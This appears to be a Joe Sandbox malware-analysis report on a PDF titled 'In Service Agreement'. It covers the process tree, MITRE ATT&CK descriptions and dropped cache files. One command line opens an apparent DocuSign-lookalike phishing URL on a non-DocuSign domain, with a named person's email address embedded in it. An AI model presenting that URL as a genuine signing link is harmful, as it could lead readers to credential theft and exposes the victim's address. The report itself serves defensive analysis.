2025-01-14 16:25:45 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Target ID:	0
Start time:	11:22:54
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Ecastillo-In Service Agreement.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:22:54
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:22:55
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1572,i,16953409773614406426,15727890434465165057,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:22:57
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://docusign.legalcloudfiles.com/S06ga?e=ecastillo@seguridadamerica.com
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:22:59
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2232,i,17049063586275542748,260268571060558261,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ecastillo-In Service Agreement.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\539b14df-9386-4c3c-89a6-63387f597ce3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250114162301Z-223.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Windows Analysis Report
Ecastillo-In Service Agreement.pdf